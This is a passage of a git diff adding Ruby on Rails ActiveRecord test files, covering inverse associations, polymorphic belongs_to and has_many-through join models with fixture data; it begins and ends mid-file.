+ real_count = Author.all.to_a.select {|a| a.posts.any? {|p| p.title =~ /^Welcome/} }.length
+ authors_with_welcoming_post_titles = Author.all.merge!(joins: :posts, where: "posts.title like 'Welcome%'").distinct.calculate(:count, 'authors.id')
+ assert_equal real_count, authors_with_welcoming_post_titles, "inner join and conditions should have only returned authors posting titles starting with 'Welcome'"
+ end
+
+ def test_find_with_sti_join
+ scope = Post.joins(:special_comments).where(:id => posts(:sti_comments).id)
+
+ # The join should match SpecialComment and its subclasses only
+ assert scope.where("comments.type" => "Comment").empty?
+ assert !scope.where("comments.type" => "SpecialComment").empty?
+ assert !scope.where("comments.type" => "SubSpecialComment").empty?
+ end
+
+ def test_find_with_conditions_on_reflection
+ assert !posts(:welcome).comments.empty?
+ assert Post.joins(:nonexistant_comments).where(:id => posts(:welcome).id).empty? # [sic!]
+ end
+
+ def test_find_with_conditions_on_through_reflection
+ assert !posts(:welcome).tags.empty?
+ assert Post.joins(:misc_tags).where(:id => posts(:welcome).id).empty?
+ end
+end
diff --git a/activerecord/test/cases/associations/inverse_associations_test.rb b/activerecord/test/cases/associations/inverse_associations_test.rb
new file mode 100644
index 0000000..ec128ac
--- /dev/null
+++ b/activerecord/test/cases/associations/inverse_associations_test.rb
@@ -0,0 +1,537 @@
+require "cases/helper"
+require 'models/man'
+require 'models/face'
+require 'models/interest'
+require 'models/zine'
+require 'models/club'
+require 'models/sponsor'
+
+class InverseAssociationTests < ActiveRecord::TestCase
+ def test_should_allow_for_inverse_of_options_in_associations
+ assert_nothing_raised(ArgumentError, 'ActiveRecord should allow the inverse_of options on has_many') do
+ Class.new(ActiveRecord::Base).has_many(:wheels, :inverse_of => :car)
+ end
+
+ assert_nothing_raised(ArgumentError, 'ActiveRecord should allow the inverse_of options on has_one') do
+ Class.new(ActiveRecord::Base).has_one(:engine, :inverse_of => :car)
+ end
+
+ assert_nothing_raised(ArgumentError, 'ActiveRecord should allow the inverse_of options on belongs_to') do
+ Class.new(ActiveRecord::Base).belongs_to(:car, :inverse_of => :driver)
+ end
+ end
+
+ def test_should_be_able_to_ask_a_reflection_if_it_has_an_inverse
+ has_one_with_inverse_ref = Man.reflect_on_association(:face)
+ assert_respond_to has_one_with_inverse_ref, :has_inverse?
+ assert has_one_with_inverse_ref.has_inverse?
+
+ has_many_with_inverse_ref = Man.reflect_on_association(:interests)
+ assert_respond_to has_many_with_inverse_ref, :has_inverse?
+ assert has_many_with_inverse_ref.has_inverse?
+
+ belongs_to_with_inverse_ref = Face.reflect_on_association(:man)
+ assert_respond_to belongs_to_with_inverse_ref, :has_inverse?
+ assert belongs_to_with_inverse_ref.has_inverse?
+
+ has_one_without_inverse_ref = Club.reflect_on_association(:sponsor)
+ assert_respond_to has_one_without_inverse_ref, :has_inverse?
+ assert !has_one_without_inverse_ref.has_inverse?
+
+ has_many_without_inverse_ref = Club.reflect_on_association(:memberships)
+ assert_respond_to has_many_without_inverse_ref, :has_inverse?
+ assert !has_many_without_inverse_ref.has_inverse?
+
+ belongs_to_without_inverse_ref = Sponsor.reflect_on_association(:sponsor_club)
+ assert_respond_to belongs_to_without_inverse_ref, :has_inverse?
+ assert !belongs_to_without_inverse_ref.has_inverse?
+ end
+
+ def test_should_be_able_to_ask_a_reflection_what_it_is_the_inverse_of
+ has_one_ref = Man.reflect_on_association(:face)
+ assert_respond_to has_one_ref, :inverse_of
+
+ has_many_ref = Man.reflect_on_association(:interests)
+ assert_respond_to has_many_ref, :inverse_of
+
+ belongs_to_ref = Face.reflect_on_association(:man)
+ assert_respond_to belongs_to_ref, :inverse_of
+ end
+
+ def test_inverse_of_method_should_supply_the_actual_reflection_instance_it_is_the_inverse_of
+ has_one_ref = Man.reflect_on_association(:face)
+ assert_equal Face.reflect_on_association(:man), has_one_ref.inverse_of
+
+ has_many_ref = Man.reflect_on_association(:interests)
+ assert_equal Interest.reflect_on_association(:man), has_many_ref.inverse_of
+
+ belongs_to_ref = Face.reflect_on_association(:man)
+ assert_equal Man.reflect_on_association(:face), belongs_to_ref.inverse_of
+ end
+
+ def test_associations_with_no_inverse_of_should_return_nil
+ has_one_ref = Club.reflect_on_association(:sponsor)
+ assert_nil has_one_ref.inverse_of
+
+ has_many_ref = Club.reflect_on_association(:memberships)
+ assert_nil has_many_ref.inverse_of
+
+ belongs_to_ref = Sponsor.reflect_on_association(:sponsor_club)
+ assert_nil belongs_to_ref.inverse_of
+ end
+end
+
+class InverseHasOneTests < ActiveRecord::TestCase
+ fixtures :men, :faces
+
+ def test_parent_instance_should_be_shared_with_child_on_find
+ m = men(:gordon)
+ f = m.face
+ assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
+ f.man.name = 'Mungo'
+ assert_equal m.name, f.man.name, "Name of man should be the same after changes to child-owned instance"
+ end
+
+
+ def test_parent_instance_should_be_shared_with_eager_loaded_child_on_find
+ m = Man.all.merge!(:where => {:name => 'Gordon'}, :includes => :face).first
+ f = m.face
+ assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
+ f.man.name = 'Mungo'
+ assert_equal m.name, f.man.name, "Name of man should be the same after changes to child-owned instance"
+
+ m = Man.all.merge!(:where => {:name => 'Gordon'}, :includes => :face, :order => 'faces.id').first
+ f = m.face
+ assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
+ f.man.name = 'Mungo'
+ assert_equal m.name, f.man.name, "Name of man should be the same after changes to child-owned instance"
+ end
+
+ def test_parent_instance_should_be_shared_with_newly_built_child
+ m = Man.first
+ f = m.build_face(:description => 'haunted')
+ assert_not_nil f.man
+ assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
+ f.man.name = 'Mungo'
+ assert_equal m.name, f.man.name, "Name of man should be the same after changes to just-built-child-owned instance"
+ end
+
+ def test_parent_instance_should_be_shared_with_newly_created_child
+ m = Man.first
+ f = m.create_face(:description => 'haunted')
+ assert_not_nil f.man
+ assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
+ f.man.name = 'Mungo'
+ assert_equal m.name, f.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+ end
+
+ def test_parent_instance_should_be_shared_with_newly_created_child_via_bang_method
+ m = Man.first
+ f = m.create_face!(:description => 'haunted')
+ assert_not_nil f.man
+ assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
+ f.man.name = 'Mungo'
+ assert_equal m.name, f.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+ end
+
+ def test_parent_instance_should_be_shared_with_replaced_via_accessor_child
+ m = Man.first
+ f = Face.new(:description => 'haunted')
+ m.face = f
+ assert_not_nil f.man
+ assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
+ f.man.name = 'Mungo'
+ assert_equal m.name, f.man.name, "Name of man should be the same after changes to replaced-child-owned instance"
+ end
+
+ def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
+ assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.first.dirty_face }
+ end
+end
+
+class InverseHasManyTests < ActiveRecord::TestCase
+ fixtures :men, :interests
+
+ def test_parent_instance_should_be_shared_with_every_child_on_find
+ m = men(:gordon)
+ is = m.interests
+ is.each do |i|
+ assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+ i.man.name = 'Mungo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to child-owned instance"
+ end
+ end
+
+ def test_parent_instance_should_be_shared_with_eager_loaded_children
+ m = Man.all.merge!(:where => {:name => 'Gordon'}, :includes => :interests).first
+ is = m.interests
+ is.each do |i|
+ assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+ i.man.name = 'Mungo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to child-owned instance"
+ end
+
+ m = Man.all.merge!(:where => {:name => 'Gordon'}, :includes => :interests, :order => 'interests.id').first
+ is = m.interests
+ is.each do |i|
+ assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+ i.man.name = 'Mungo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to child-owned instance"
+ end
+ end
+
+ def test_parent_instance_should_be_shared_with_newly_block_style_built_child
+ m = Man.first
+ i = m.interests.build {|ii| ii.topic = 'Industrial Revolution Re-enactment'}
+ assert_not_nil i.topic, "Child attributes supplied to build via blocks should be populated"
+ assert_not_nil i.man
+ assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+ i.man.name = 'Mungo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to just-built-child-owned instance"
+ end
+
+ def test_parent_instance_should_be_shared_with_newly_created_via_bang_method_child
+ m = Man.first
+ i = m.interests.create!(:topic => 'Industrial Revolution Re-enactment')
+ assert_not_nil i.man
+ assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+ i.man.name = 'Mungo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+ end
+
+ def test_parent_instance_should_be_shared_with_newly_block_style_created_child
+ m = Man.first
+ i = m.interests.create {|ii| ii.topic = 'Industrial Revolution Re-enactment'}
+ assert_not_nil i.topic, "Child attributes supplied to create via blocks should be populated"
+ assert_not_nil i.man
+ assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+ i.man.name = 'Mungo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+ end
+
+ def test_parent_instance_should_be_shared_within_create_block_of_new_child
+ man = Man.first
+ interest = man.interests.build do |i|
+ assert i.man.equal?(man), "Man of child should be the same instance as a parent"
+ end
+ assert interest.man.equal?(man), "Man of the child should still be the same instance as a parent"
+ end
+
+ def test_parent_instance_should_be_shared_within_build_block_of_new_child
+ man = Man.first
+ interest = man.interests.build do |i|
+ assert i.man.equal?(man), "Man of child should be the same instance as a parent"
+ end
+ assert interest.man.equal?(man), "Man of the child should still be the same instance as a parent"
+ end
+
+ def test_parent_instance_should_be_shared_with_poked_in_child
+ m = men(:gordon)
+ i = Interest.create(:topic => 'Industrial Revolution Re-enactment')
+ m.interests << i
+ assert_not_nil i.man
+ assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+ i.man.name = 'Mungo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
+ end
+
+ def test_parent_instance_should_be_shared_with_replaced_via_accessor_children
+ m = Man.first
+ i = Interest.new(:topic => 'Industrial Revolution Re-enactment')
+ m.interests = [i]
+ assert_not_nil i.man
+ assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
+ m.name = 'Bongo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
+ i.man.name = 'Mungo'
+ assert_equal m.name, i.man.name, "Name of man should be the same after changes to replaced-child-owned instance"
+ end
+
+ def test_parent_instance_should_be_shared_with_first_and_last_child
+ man = Man.first
+
+ assert man.interests.first.man.equal? man
+ assert man.interests.last.man.equal? man
+ end
+
+ def test_parent_instance_should_be_shared_with_first_n_and_last_n_children
+ man = Man.first
+
+ interests = man.interests.first(2)
+ assert interests[0].man.equal? man
+ assert interests[1].man.equal? man
+
+ interests = man.interests.last(2)
+ assert interests[0].man.equal? man
+ assert interests[1].man.equal? man
+ end
+
+ def test_parent_instance_should_find_child_instance_using_child_instance_id
+ man = Man.create!
+ interest = Interest.create!
+ man.interests = [interest]
+
+ assert interest.equal?(man.interests.first), "The inverse association should use the interest already created and held in memory"
+ assert interest.equal?(man.interests.find(interest.id)), "The inverse association should use the interest already created and held in memory"
+ assert man.equal?(man.interests.first.man), "Two inversion should lead back to the same object that was originally held"
+ assert man.equal?(man.interests.find(interest.id).man), "Two inversions should lead back to the same object that was originally held"
+ end
+
+ def test_parent_instance_should_find_child_instance_using_child_instance_id_when_created
+ man = Man.create!
+ interest = Interest.create!(man: man)
+
+ assert man.equal?(man.interests.first.man), "Two inverses should lead back to the same object that was originally held"
+ assert man.equal?(man.interests.find(interest.id).man), "Two inversions should lead back to the same object that was originally held"
+
+ assert_equal man.name, man.interests.find(interest.id).man.name, "The name of the man should match before the name is changed"
+ man.name = "Ben Bitdiddle"
+ assert_equal man.name, man.interests.find(interest.id).man.name, "The name of the man should match after the parent name is changed"
+ man.interests.find(interest.id).man.name = "Alyssa P. Hacker"
+ assert_equal man.name, man.interests.find(interest.id).man.name, "The name of the man should match after the child name is changed"
+ end
+
+ def test_raise_record_not_found_error_when_invalid_ids_are_passed
+ man = Man.create!
+
+ invalid_id = 2394823094892348920348523452345
+ assert_raise(ActiveRecord::RecordNotFound) { man.interests.find(invalid_id) }
+
+ invalid_ids = [8432342, 2390102913, 2453245234523452]
+ assert_raise(ActiveRecord::RecordNotFound) { man.interests.find(invalid_ids) }
+ end
+
+ def test_raise_record_not_found_error_when_no_ids_are_passed
+ man = Man.create!
+
+ assert_raise(ActiveRecord::RecordNotFound) { man.interests.find() }
+ end
+
+ def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
+ assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.first.secret_interests }
+ end
+end
+
+class InverseBelongsToTests < ActiveRecord::TestCase
+ fixtures :men, :faces, :interests
+
+ def test_child_instance_should_be_shared_with_parent_on_find
+ f = faces(:trusting)
+ m = f.man
+ assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
+ f.description = 'gormless'
+ assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
+ m.face.description = 'pleasing'
+ assert_equal f.description, m.face.description, "Description of face should be the same after changes to parent-owned instance"
+ end
+
+ def test_eager_loaded_child_instance_should_be_shared_with_parent_on_find
+ f = Face.all.merge!(:includes => :man, :where => {:description => 'trusting'}).first
+ m = f.man
+ assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
+ f.description = 'gormless'
+ assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
+ m.face.description = 'pleasing'
+ assert_equal f.description, m.face.description, "Description of face should be the same after changes to parent-owned instance"
+
+ f = Face.all.merge!(:includes => :man, :order => 'men.id', :where => {:description => 'trusting'}).first
+ m = f.man
+ assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
+ f.description = 'gormless'
+ assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
+ m.face.description = 'pleasing'
+ assert_equal f.description, m.face.description, "Description of face should be the same after changes to parent-owned instance"
+ end
+
+ def test_child_instance_should_be_shared_with_newly_built_parent
+ f = faces(:trusting)
+ m = f.build_man(:name => 'Charles')
+ assert_not_nil m.face
+ assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
+ f.description = 'gormless'
+ assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
+ m.face.description = 'pleasing'
+ assert_equal f.description, m.face.description, "Description of face should be the same after changes to just-built-parent-owned instance"
+ end
+
+ def test_child_instance_should_be_shared_with_newly_created_parent
+ f = faces(:trusting)
+ m = f.create_man(:name => 'Charles')
+ assert_not_nil m.face
+ assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
+ f.description = 'gormless'
+ assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
+ m.face.description = 'pleasing'
+ assert_equal f.description, m.face.description, "Description of face should be the same after changes to newly-created-parent-owned instance"
+ end
+
+ def test_should_not_try_to_set_inverse_instances_when_the_inverse_is_a_has_many
+ i = interests(:trainspotting)
+ m = i.man
+ assert_not_nil m.interests
+ iz = m.interests.detect { |_iz| _iz.id == i.id}
+ assert_not_nil iz
+ assert_equal i.topic, iz.topic, "Interest topics should be the same before changes to child"
+ i.topic = 'Eating cheese with a spoon'
+ assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to child"
+ iz.topic = 'Cow tipping'
+ assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to parent-owned instance"
+ end
+
+ def test_child_instance_should_be_shared_with_replaced_via_accessor_parent
+ f = Face.first
+ m = Man.new(:name => 'Charles')
+ f.man = m
+ assert_not_nil m.face
+ assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
+ f.description = 'gormless'
+ assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
+ m.face.description = 'pleasing'
+ assert_equal f.description, m.face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
+ end
+
+ def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
+ assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.horrible_man }
+ end
+end
+
+class InversePolymorphicBelongsToTests < ActiveRecord::TestCase
+ fixtures :men, :faces, :interests
+
+ def test_child_instance_should_be_shared_with_parent_on_find
+ f = Face.all.merge!(:where => {:description => 'confused'}).first
+ m = f.polymorphic_man
+ assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
+ f.description = 'gormless'
+ assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to child instance"
+ m.polymorphic_face.description = 'pleasing'
+ assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
+ end
+
+ def test_eager_loaded_child_instance_should_be_shared_with_parent_on_find
+ f = Face.all.merge!(:where => {:description => 'confused'}, :includes => :man).first
+ m = f.polymorphic_man
+ assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
+ f.description = 'gormless'
+ assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to child instance"
+ m.polymorphic_face.description = 'pleasing'
+ assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
+
+ f = Face.all.merge!(:where => {:description => 'confused'}, :includes => :man, :order => 'men.id').first
+ m = f.polymorphic_man
+ assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
+ f.description = 'gormless'
+ assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to child instance"
+ m.polymorphic_face.description = 'pleasing'
+ assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
+ end
+
+ def test_child_instance_should_be_shared_with_replaced_via_accessor_parent
+ face = faces(:confused)
+ new_man = Man.new
+
+ assert_not_nil face.polymorphic_man
+ face.polymorphic_man = new_man
+
+ assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same before changes to parent instance"
+ face.description = 'Bongo'
+ assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to parent instance"
+ new_man.polymorphic_face.description = 'Mungo'
+ assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
+ end
+
+ def test_child_instance_should_be_shared_with_replaced_via_method_parent
+ face = faces(:confused)
+ new_man = Man.new
+
+ assert_not_nil face.polymorphic_man
+ face.polymorphic_man = new_man
+
+ assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same before changes to parent instance"
+ face.description = 'Bongo'
+ assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to parent instance"
+ new_man.polymorphic_face.description = 'Mungo'
+ assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
+ end
+
+ def test_should_not_try_to_set_inverse_instances_when_the_inverse_is_a_has_many
+ i = interests(:llama_wrangling)
+ m = i.polymorphic_man
+ assert_not_nil m.polymorphic_interests
+ iz = m.polymorphic_interests.detect { |_iz| _iz.id == i.id}
+ assert_not_nil iz
+ assert_equal i.topic, iz.topic, "Interest topics should be the same before changes to child"
+ i.topic = 'Eating cheese with a spoon'
+ assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to child"
+ iz.topic = 'Cow tipping'
+ assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to parent-owned instance"
+ end
+
+ def test_trying_to_access_inverses_that_dont_exist_shouldnt_raise_an_error
+ # Ideally this would, if only for symmetry's sake with other association types
+ assert_nothing_raised(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.horrible_polymorphic_man }
+ end
+
+ def test_trying_to_set_polymorphic_inverses_that_dont_exist_at_all_should_raise_an_error
+ # fails because no class has the correct inverse_of for horrible_polymorphic_man
+ assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.horrible_polymorphic_man = Man.first }
+ end
+
+ def test_trying_to_set_polymorphic_inverses_that_dont_exist_on_the_instance_being_set_should_raise_an_error
+ # passes because Man does have the correct inverse_of
+ assert_nothing_raised(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.polymorphic_man = Man.first }
+ # fails because Interest does have the correct inverse_of
+ assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.polymorphic_man = Interest.first }
+ end
+end
+
+# NOTE - these tests might not be meaningful, ripped as they were from the parental_control plugin
+# which would guess the inverse rather than look for an explicit configuration option.
+class InverseMultipleHasManyInversesForSameModel < ActiveRecord::TestCase
+ fixtures :men, :interests, :zines
+
+ def test_that_we_can_load_associations_that_have_the_same_reciprocal_name_from_different_models
+ assert_nothing_raised(ActiveRecord::AssociationTypeMismatch) do
+ i = Interest.first
+ i.zine
+ i.man
+ end
+ end
+
+ def test_that_we_can_create_associations_that_have_the_same_reciprocal_name_from_different_models
+ assert_nothing_raised(ActiveRecord::AssociationTypeMismatch) do
+ i = Interest.first
+ i.build_zine(:title => 'Get Some in Winter! 2008')
+ i.build_man(:name => 'Gordon')
+ i.save!
+ end
+ end
+end
diff --git a/activerecord/test/cases/associations/join_dependency_test.rb b/activerecord/test/cases/associations/join_dependency_test.rb
new file mode 100644
index 0000000..08c166d
--- /dev/null
+++ b/activerecord/test/cases/associations/join_dependency_test.rb
@@ -0,0 +1,8 @@
+require "cases/helper"
+require 'models/edge'
+
+class JoinDependencyTest < ActiveRecord::TestCase
+ def test_column_names_with_alias_handles_nil_primary_key
+ assert_equal Edge.column_names, ActiveRecord::Associations::JoinDependency::JoinBase.new(Edge).column_names_with_alias.map(&:first)
+ end
+end
\ No newline at end of file
diff --git a/activerecord/test/cases/associations/join_model_test.rb b/activerecord/test/cases/associations/join_model_test.rb
new file mode 100644
index 0000000..aabeea0
--- /dev/null
+++ b/activerecord/test/cases/associations/join_model_test.rb
@@ -0,0 +1,750 @@
+require "cases/helper"
+require 'models/tag'
+require 'models/tagging'
+require 'models/post'
+require 'models/rating'
+require 'models/item'
+require 'models/comment'
+require 'models/author'
+require 'models/category'
+require 'models/categorization'
+require 'models/vertex'
+require 'models/edge'
+require 'models/book'
+require 'models/citation'
+require 'models/aircraft'
+require 'models/engine'
+require 'models/car'
+
+class AssociationsJoinModelTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ fixtures :posts, :authors, :categories, :categorizations, :comments, :tags, :taggings, :author_favorites, :vertices, :items, :books,
+ # Reload edges table from fixtures as otherwise repeated test was failing
+ :edges
+
+ def test_has_many
+ assert authors(:david).categories.include?(categories(:general))
+ end
+
+ def test_has_many_inherited
+ assert authors(:mary).categories.include?(categories(:sti_test))
+ end
+
+ def test_inherited_has_many
+ assert categories(:sti_test).authors.include?(authors(:mary))
+ end
+
+ def test_has_many_uniq_through_join_model
+ assert_equal 2, authors(:mary).categorized_posts.size
+ assert_equal 1, authors(:mary).unique_categorized_posts.size
+ end
+
+ def test_has_many_uniq_through_count
+ author = authors(:mary)
+ assert !authors(:mary).unique_categorized_posts.loaded?
+ assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count }
+ assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count(:title) }
+ assert_queries(1) { assert_equal 0, author.unique_categorized_posts.where(title: nil).count(:title) }
+ assert !authors(:mary).unique_categorized_posts.loaded?
+ end
+
+ def test_has_many_uniq_through_find
+ assert_equal 1, authors(:mary).unique_categorized_posts.to_a.size
+ end
+
+ def test_polymorphic_has_many_going_through_join_model
+ assert_equal tags(:general), tag = posts(:welcome).tags.first
+ assert_no_queries do
+ tag.tagging
+ end
+ end
+
+ def test_count_polymorphic_has_many
+ assert_equal 1, posts(:welcome).taggings.count
+ assert_equal 1, posts(:welcome).tags.count
+ end
+
+ def test_polymorphic_has_many_going_through_join_model_with_find
+ assert_equal tags(:general), tag = posts(:welcome).tags.first
+ assert_no_queries do
+ tag.tagging
+ end
+ end
+
+ def test_polymorphic_has_many_going_through_join_model_with_include_on_source_reflection
+ assert_equal tags(:general), tag = posts(:welcome).funky_tags.first
+ assert_no_queries do
+ tag.tagging
+ end
+ end
+
+ def test_polymorphic_has_many_going_through_join_model_with_include_on_source_reflection_with_find
+ assert_equal tags(:general), tag = posts(:welcome).funky_tags.first
+ assert_no_queries do
+ tag.tagging
+ end
+ end
+
+ def test_polymorphic_has_many_going_through_join_model_with_custom_select_and_joins
+ assert_equal tags(:general), tag = posts(:welcome).tags.add_joins_and_select.first
+ assert_nothing_raised(NoMethodError) { tag.author_id }
+ end
+
+ def test_polymorphic_has_many_going_through_join_model_with_custom_foreign_key
+ assert_equal tags(:misc), taggings(:welcome_general).super_tag
+ assert_equal tags(:misc), posts(:welcome).super_tags.first
+ end
+
+ def test_polymorphic_has_many_create_model_with_inheritance_and_custom_base_class
+ post = SubStiPost.create :title => 'SubStiPost', :body => 'SubStiPost body'
+ assert_instance_of SubStiPost, post
+
+ tagging = tags(:misc).taggings.create(:taggable => post)
+ assert_equal "SubStiPost", tagging.taggable_type
+ end
+
+ def test_polymorphic_has_many_going_through_join_model_with_inheritance
+ assert_equal tags(:general), posts(:thinking).tags.first
+ end
+
+ def test_polymorphic_has_many_going_through_join_model_with_inheritance_with_custom_class_name
+ assert_equal tags(:general), posts(:thinking).funky_tags.first
+ end
+
+ def test_polymorphic_has_many_create_model_with_inheritance
+ post = posts(:thinking)
+ assert_instance_of SpecialPost, post
+
+ tagging = tags(:misc).taggings.create(:taggable => post)
+ assert_equal "Post", tagging.taggable_type
+ end
+
+ def test_polymorphic_has_one_create_model_with_inheritance
+ tagging = tags(:misc).create_tagging(:taggable => posts(:thinking))
+ assert_equal "Post", tagging.taggable_type
+ end
+
+ def test_set_polymorphic_has_many
+ tagging = tags(:misc).taggings.create
+ posts(:thinking).taggings << tagging
+ assert_equal "Post", tagging.taggable_type
+ end
+
+ def test_set_polymorphic_has_one
+ tagging = tags(:misc).taggings.create
+ posts(:thinking).tagging = tagging
+
+ assert_equal "Post", tagging.taggable_type
+ assert_equal posts(:thinking).id, tagging.taggable_id
+ assert_equal posts(:thinking), tagging.taggable
+ end
+
+ def test_set_polymorphic_has_one_on_new_record
+ tagging = tags(:misc).taggings.create
+ post = Post.new :title => "foo", :body => "bar"
+ post.tagging = tagging
+ post.save!
+
+ assert_equal "Post", tagging.taggable_type
+ assert_equal post.id, tagging.taggable_id
+ assert_equal post, tagging.taggable
+ end
+
+ def test_create_polymorphic_has_many_with_scope
+ old_count = posts(:welcome).taggings.count
+ tagging = posts(:welcome).taggings.create(:tag => tags(:misc))
+ assert_equal "Post", tagging.taggable_type
+ assert_equal old_count+1, posts(:welcome).taggings.count
+ end
+
+ def test_create_bang_polymorphic_with_has_many_scope
+ old_count = posts(:welcome).taggings.count
+ tagging = posts(:welcome).taggings.create!(:tag => tags(:misc))
+ assert_equal "Post", tagging.taggable_type
+ assert_equal old_count+1, posts(:welcome).taggings.count
+ end
+
+ def test_create_polymorphic_has_one_with_scope
+ old_count = Tagging.count
+ tagging = posts(:welcome).create_tagging(:tag => tags(:misc))
+ assert_equal "Post", tagging.taggable_type
+ assert_equal old_count+1, Tagging.count
+ end
+
+ def test_delete_polymorphic_has_many_with_delete_all
+ assert_equal 1, posts(:welcome).taggings.count
+ posts(:welcome).taggings.first.update_columns taggable_type: 'PostWithHasManyDeleteAll'
+ post = find_post_with_dependency(1, :has_many, :taggings, :delete_all)
+
+ old_count = Tagging.count
+ post.destroy
+ assert_equal old_count-1, Tagging.count
+ assert_equal 0, posts(:welcome).taggings.count
+ end
+
+ def test_delete_polymorphic_has_many_with_destroy
+ assert_equal 1, posts(:welcome).taggings.count
+ posts(:welcome).taggings.first.update_columns taggable_type: 'PostWithHasManyDestroy'
+ post = find_post_with_dependency(1, :has_many, :taggings, :destroy)
+
+ old_count = Tagging.count
+ post.destroy
+ assert_equal old_count-1, Tagging.count
+ assert_equal 0, posts(:welcome).taggings.count
+ end
+
+ def test_delete_polymorphic_has_many_with_nullify
+ assert_equal 1, posts(:welcome).taggings.count
+ posts(:welcome).taggings.first.update_columns taggable_type: 'PostWithHasManyNullify'
+ post = find_post_with_dependency(1, :has_many, :taggings, :nullify)
+
+ old_count = Tagging.count
